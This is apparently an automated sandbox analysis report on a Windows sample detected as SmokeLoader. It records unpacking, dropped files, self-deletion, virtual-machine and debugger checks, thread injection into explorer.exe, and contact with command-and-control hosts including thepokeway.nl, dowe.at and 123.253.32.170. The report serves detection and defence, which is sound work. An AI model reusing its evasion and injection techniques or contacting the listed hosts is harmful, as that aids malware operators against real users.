Source:	Binary string: comctl32v582.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000013.00000003.527903261.0000000004EA0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\bfllk\pdgh\qovxk\wqdtbmac.pdb/; source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: c:\jfmo\tlcp\nyvnyt\obocmwsb.pdb/; source: 5AF.exe, 00000016.00000002.637978186.0000000004BA6000.00000004.00000800.00020000.00000000.sdmp, 5AF.exe, 00000016.00000002.522529716.00000000023B8000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: powrprof.pdbX source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\dohaf\kaxidin\wukoni\wefof\nojeyuve jucahazetozep zisasime.pdb source: 5AF.exe, 00000010.00000000.456599162.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, 5AF.exe, 00000016.00000000.482478776.0000000000401000.00000020.00000001.01000000.0000000B.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000013.00000003.527754656.0000000004961000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: profapi.pdb^ source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: netapi32.pdbk source: WerFault.exe, 00000013.00000003.527963392.0000000004EA6000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Unpacked PE file: 10.2.ADCA.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 16.2.5AF.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 22.2.5AF.exe.400000.0.unpack

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\dfhwrav	Unpacked PE file: 9.2.dfhwrav.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Unpacked PE file: 10.2.ADCA.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.itext:ER;.data:W;.bss:W;.idata:W;.didata:W;.edata:R;.tls:W;.rdata:R;.reloc:R;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 16.2.5AF.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;
Source: C:\Users\user\AppData\Local\Temp\5AF.exe	Unpacked PE file: 22.2.5AF.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401F47 pushad ; ret	0_2_00401FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401F62 pushad ; ret	0_2_00401FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401E7D pushad ; ret	0_2_00401FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401F2F pushad ; ret	0_2_00401FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00401F3A pushad ; ret	0_2_00401FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004019C7 push esp; retf	0_2_004019C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00402DCB push FFFFFF9Bh; retf	0_2_00402DD5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071A2E push esp; retf	0_2_02071A2F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071F96 pushad ; ret	0_2_02072016
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071FA1 pushad ; ret	0_2_02072016
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071FAE pushad ; ret	0_2_02072016
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071FC9 pushad ; ret	0_2_02072016
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02071EE4 pushad ; ret	0_2_02072016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401F47 pushad ; ret	9_2_00401FAF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401F62 pushad ; ret	9_2_00401FAF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401E7D pushad ; ret	9_2_00401FAF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401F2F pushad ; ret	9_2_00401FAF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00401F3A pushad ; ret	9_2_00401FAF
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_004019C7 push esp; retf	9_2_004019C8
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_00402DCB push FFFFFF9Bh; retf	9_2_00402DD5
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1A2E push esp; retf	9_2_006D1A2F
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1EE4 pushad ; ret	9_2_006D2016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1FC9 pushad ; ret	9_2_006D2016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1FAE pushad ; ret	9_2_006D2016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1FA1 pushad ; ret	9_2_006D2016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D1F96 pushad ; ret	9_2_006D2016
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006FDD39 push esp; retf	9_2_006FDD3A
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_00422F40 push ecx; mov dword ptr [esp], ecx	10_2_00422F44
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_025CB597 pushad ; iretd	10_2_025CB598

Source: Serpodtudpwhhta.dll.10.dr

Static PE information: section name: .didata

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\dfhwrav

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\5AF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	File created: C:\Users\user\AppData\Local\Temp\Serpodtudpwhhta.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\ADCA.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\dfhwrav	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\dfhwrav:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe

Code function: 10_2_0085E760 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

10_2_0085E760

Source: C:\Users\user\AppData\Local\Temp\5AF.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect virtualization through RDTSC time measurements

Source: C:\Windows\SysWOW64\rundll32.exe

RDTSC instruction interceptor: First address: 0000000004426EB0 second address: 000000000442778E instructions: 0x00000000 rdtsc 0x00000002 mov dword ptr [ebp-0Ch], edx 0x00000005 mov dword ptr [ebp-24h], 0000000Dh 0x0000000c mov eax, 00000001h 0x00000011 cmp eax, 00000000h 0x00000014 jnbe 00007F9AF0396623h 0x00000016 mov eax, dword ptr [ebp-0Ch] 0x00000019 sub eax, dword ptr [ebp-04h] 0x0000001c cmp eax, dword ptr [ebp-24h] 0x0000001f jnl 00007F9AF039662Ah 0x00000021 inc dword ptr [ebp-14h] 0x00000024 jmp 00007F9AF0396C90h 0x00000029 mov eax, 00000000h 0x0000002e cmp eax, 00000000h 0x00000031 je 00007F9AF0396623h 0x00000033 cmp dword ptr [ebp-14h], 02h 0x00000037 jng 00007F9AF039685Ah 0x0000003d rdtsc

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 644	Thread sleep count: 652 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5544	Thread sleep count: 1177 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5544	Thread sleep time: -117700s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1104	Thread sleep count: 1303 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1104	Thread sleep time: -130300s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1320	Thread sleep count: 487 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1276	Thread sleep count: 1102 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1276	Thread sleep time: -110200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1332	Thread sleep count: 1135 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1332	Thread sleep time: -113500s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5AF.exe TID: 2588	Thread sleep time: -600000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe

Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess

graph_10-21262

Source: C:\Users\user\AppData\Local\Temp\5AF.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 652	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1177	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1303	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 487	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1102	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 1135	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5AF.exe

File opened: PHYSICALDRIVE0

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0040D450 FindFirstFileW,FindClose,	10_2_0040D450
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_004235B0 FindFirstFileW,FindClose,	10_2_004235B0
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_0040CE84 GetModuleHandleW,GetProcAddress,FindFirstFileW,FindClose,lstrlenW,lstrlenW,	10_2_0040CE84

Source: C:\Users\user\AppData\Local\Temp\5AF.exe

Thread delayed: delay time: 600000

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: WerFault.exe, 00000013.00000002.551745803.0000000004738000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh$
Source: explorer.exe, 00000001.00000000.294130406.00000000045B0000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000001.00000000.336477540.00000000081DD000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000^
Source: explorer.exe, 00000001.00000000.298060433.0000000006710000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}y
Source: WerFault.exe, 00000013.00000003.544336242.0000000004B08000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000013.00000002.555779726.0000000004B08000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.303121165.0000000008304000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: 5AF.exe, 00000016.00000002.541764212.0000000002B75000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: K,<=;;?9:VMcI;8
Source: explorer.exe, 00000001.00000000.268546487.00000000082B2000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000001.00000000.268287568.0000000008200000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}>&

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0207092B mov eax, dword ptr fs:[00000030h]	0_2_0207092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_02070D90 mov eax, dword ptr fs:[00000030h]	0_2_02070D90
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D092B mov eax, dword ptr fs:[00000030h]	9_2_006D092B
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006D0D90 mov eax, dword ptr fs:[00000030h]	9_2_006D0D90
Source: C:\Users\user\AppData\Roaming\dfhwrav	Code function: 9_2_006FC2CB push dword ptr fs:[00000030h]	9_2_006FC2CB
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: 10_2_025CA0A3 push dword ptr fs:[00000030h]	10_2_025CA0A3

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00402709 LdrLoadDll,

0_2_00402709

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: dfhwrav.1.dr

Jump to dropped file

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: thepokeway.nl
Source: C:\Windows\explorer.exe	Network Connect: 123.253.32.170 80	Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: dowe.at

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Creates a thread in another existing process (thread injection)

Source: C:\Users\user\Desktop\file.exe	Thread created: C:\Windows\explorer.exe EIP: 4E619E0			Jump to behavior
Source: C:\Users\user\AppData\Roaming\dfhwrav	Thread created: unknown EIP: 4FD19E0			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 4912 -s 688

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe

Code function: 10_2_0087C50C InitializeSecurityDescriptor,InitializeAcl,CreateWellKnownSid,CreateWellKnownSid,AddAccessAllowedAce,SetSecurityDescriptorDacl,

10_2_0087C50C

Source: explorer.exe, 00000001.00000000.322936915.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.258688322.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.292482159.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: XProgram Manager
Source: explorer.exe, 00000001.00000000.298015850.0000000005D90000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000001.00000000.322936915.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.268820967.000000000833A000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000001.00000000.322936915.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.258688322.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.291794851.0000000000AC8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000001.00000000.322936915.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.258688322.0000000001080000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000001.00000000.292482159.0000000001080000.00000002.00000001.00040000.00000000.sdmp	Binary or memory string: Progmanlock

Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: GetUserDefaultUILanguage,GetLocaleInfoW,		10_2_0040D588
Source: C:\Users\user\AppData\Local\Temp\ADCA.exe	Code function: IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,		10_2_0040CA28

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: ADCA.exe, 0000000A.00000003.437793710.000000007F700000.00000004.00001000.00020000.00000000.sdmp, ADCA.exe, 0000000A.00000003.450202572.000000007F2B0000.00000004.00001000.00020000.00000000.sdmp, rundll32.exe, 0000000D.00000000.455797744.0000000004041000.00000020.00000001.01000000.00000009.sdmp

Binary or memory string: MSASCui.exe

Stealing of Sensitive Information

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.file.exe.2070e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.dfhwrav.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.6d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.373157026.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.247155743.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected SmokeLoader

Source: Yara match	File source: 0.2.file.exe.2070e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.3.dfhwrav.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.dfhwrav.6d0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.file.exe.2080000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.340150414.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385320932.00000000020A1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.385296441.0000000002080000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000003.373157026.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.247155743.0000000002080000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000000.327101814.0000000004E61000.00000020.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.340254010.00000000020B1000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	1 Input Capture	1 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	11 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Exploitation for Client Execution	Boot or Logon Initialization Scripts	312 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	123 System Information Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	21 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
